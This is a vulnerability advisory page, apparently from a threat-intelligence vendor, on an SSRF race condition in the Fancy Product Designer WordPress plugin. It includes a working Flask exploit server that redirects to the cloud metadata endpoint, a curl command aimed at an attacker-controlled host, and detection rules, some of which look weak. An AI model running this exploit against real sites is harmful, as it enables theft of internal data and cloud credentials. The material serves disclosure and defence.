CVE-2025-13231
Executive Summary
CVE-2025-13231 is a Server-Side Request Forgery (SSRF) vulnerability in the Fancy Product Designer WordPress plugin, affecting all versions up to and including 6.4.8. The flaw arises from a Time-of-Check/Time-of-Use (TOCTOU) race condition in the fpd_custom_uplod_file AJAX action. An unauthenticated attacker can exploit the timing gap between the validation of a URL (via getimagesize()) and the subsequent retrieval of that URL (via file_get_contents()) to perform SSRF attacks. By serving a valid image during validation and then redirecting to an internal or external URL during the actual fetch, the attacker can bypass security checks and access restricted resources.
This vulnerability is particularly dangerous in WordPress environments where the plugin is used for product customization, as it can lead to internal network scanning, data exfiltration, or further exploitation of internal services.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel for a patched version. Since the patch status is currently unknown, manual mitigation is required.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: High (AC:H) – due to the race condition requirement
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is 6.5, the actual risk is elevated in environments where internal services are exposed. The race condition adds complexity, but automated exploitation is possible with repeated attempts.
Deep Dive & Mechanics
The vulnerability is rooted in a classic TOCTOU race condition within the fpd_custom_uplod_file AJAX handler. The code flow is as follows:
- Validation Phase: The plugin receives a
urlparameter and callsgetimagesize()to verify that the URL points to a valid image. This function checks the file headers and returns dimensions if the file is an image. - Fetch Phase: After validation, the plugin uses
file_get_contents()to retrieve the content from the same URL. This is where the race condition occurs.
An attacker can exploit this by:
- Hosting a server that initially serves a valid image (e.g., a 1x1 pixel PNG) during the
getimagesize()call. - After validation, the attacker’s server changes the response to a redirect (HTTP 302) to an internal URL (e.g.,
http://169.254.169.254/latest/meta-data/) or an external malicious URL. - The
file_get_contents()function follows the redirect, allowing the attacker to read internal resources or perform SSRF.
The vulnerability is unauthenticated, meaning any visitor to the WordPress site can trigger the AJAX action.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described below. A patched version would need to eliminate the race condition by either:
- Using a single atomic operation to validate and fetch the URL.
- Implementing a whitelist of allowed domains.
- Using a temporary file download and validation before processing.
Vulnerable Code (Conceptual):
add_action('wp_ajax_fpd_custom_uplod_file', 'fpd_custom_uplod_file');
add_action('wp_ajax_nopriv_fpd_custom_uplod_file', 'fpd_custom_uplod_file');
function fpd_custom_uplod_file() {
$url = $_POST['url'];
// TOCTOU race condition: validation and fetch are separate
if (getimagesize($url) !== false) {
$content = file_get_contents($url);
// process $content
}
}
Patched Code (Conceptual):
function fpd_custom_uplod_file() {
$url = $_POST['url'];
// Validate URL against a whitelist
$allowed_hosts = array('example.com', 'cdn.example.com');
$parsed_url = parse_url($url);
if (!in_array($parsed_url['host'], $allowed_hosts)) {
wp_die('Invalid URL');
}
// Download to a temporary file first
$tmp_file = download_url($url);
if (is_wp_error($tmp_file)) {
wp_die('Download failed');
}
// Validate the downloaded file
if (getimagesize($tmp_file) !== false) {
$content = file_get_contents($tmp_file);
// process $content
}
unlink($tmp_file);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with Fancy Product Designer plugin version <= 6.4.8.
- An attacker-controlled server capable of serving dynamic content.
Exploitation Steps:
- Set up the attacker server to serve a valid image initially, then redirect on subsequent requests. Example Python script:
from flask import Flask, Response, redirect
import time
app = Flask(__name__)
@app.route('/exploit')
def exploit():
# First request: serve a valid image
if not hasattr(app, 'first_request'):
app.first_request = True
# Return a 1x1 PNG
return Response(b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc\xf8\x0f\x00\x00\x01\x01\x00\x05\x18\xd8N\x00\x00\x00\x00IEND\xaeB`\x82', mimetype='image/png')
else:
# Subsequent requests: redirect to internal resource
return redirect('http://169.254.169.254/latest/meta-data/')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
- Craft the AJAX request to the WordPress site:
curl -X POST 'http://target-site/wp-admin/admin-ajax.php' \
-d 'action=fpd_custom_uplod_file&url=http://attacker-server:8080/exploit'
- Repeat the request multiple times to win the race condition. The attacker server must be configured to serve the valid image on the first request and redirect on subsequent ones.
Expected Outcome: The plugin will follow the redirect and fetch content from the internal URL, which may be returned in the response or stored in a file.
Blue Team
Detection:
- Monitor for repeated AJAX requests to
admin-ajax.phpwith theaction=fpd_custom_uplod_fileparameter. - Look for unusual URL patterns in the
urlparameter, especially IP addresses or internal hostnames. - Check server logs for connections to external IPs that are not part of normal plugin operation.
Mitigation:
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwith suspiciousurlparameters. - Disable the AJAX action if not needed by adding to
functions.php:
remove_action('wp_ajax_fpd_custom_uplod_file', 'fpd_custom_uplod_file');
remove_action('wp_ajax_nopriv_fpd_custom_uplod_file', 'fpd_custom_uplod_file');
- Use a plugin like "Disable XML-RPC" to reduce attack surface.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections from the WordPress server to unusual IP addresses or domains.
- HTTP requests to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) from the WordPress process.
- Repeated requests to
admin-ajax.phpwithaction=fpd_custom_uplod_file.
File IOCs:
- Unexpected files in the WordPress uploads directory with content from internal services.
- Log entries showing
file_get_contents()failures or timeouts.
Behavioral IOCs:
- Unusual server load due to repeated race condition attempts.
- Error logs containing
getimagesize()failures followed by successfulfile_get_contents().
Detection Engineering
YARA Rule
rule CVE_2025_13231_Fancy_Product_Designer_SSRF {
meta:
description = "Detects exploitation attempts of CVE-2025-13231 in Fancy Product Designer plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-13231"
strings:
$ajax_action = "fpd_custom_uplod_file"
$url_param = "url="
$getimagesize = "getimagesize"
$file_get_contents = "file_get_contents"
condition:
$ajax_action and $url_param and $getimagesize and $file_get_contents
}
Sigma Rule
title: CVE-2025-13231 Fancy Product Designer SSRF Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-13231 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "action=fpd_custom_uplod_file"
cs-uri-query|contains: "url=http"
condition: selection
falsepositives:
- Legitimate plugin usage with valid image URLs
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-13231 Fancy Product Designer SSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=fpd_custom_uplod_file"; http_client_body; content:"url="; http_client_body; pcre:"/url=(https?:\/\/)/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable AJAX action by adding the following code to the theme's
functions.phpor using a code snippet plugin:
add_action('init', function() {
if (current_user_can('manage_options')) {
remove_action('wp_ajax_fpd_custom_uplod_file', 'fpd_custom_uplod_file');
remove_action('wp_ajax_nopriv_fpd_custom_uplod_file', 'fpd_custom_uplod_file');
}
});
Implement a WAF rule to block requests containing
action=fpd_custom_uplod_filewith aurlparameter pointing to non-image domains.Monitor for updates from the plugin vendor and apply the patch as soon as it becomes available.
Long-term Recommendations:
- Replace the plugin with an alternative that has a better security track record.
- Conduct a security audit of all WordPress plugins in use.
- Implement network segmentation to limit the impact of SSRF vulnerabilities.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters.it.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.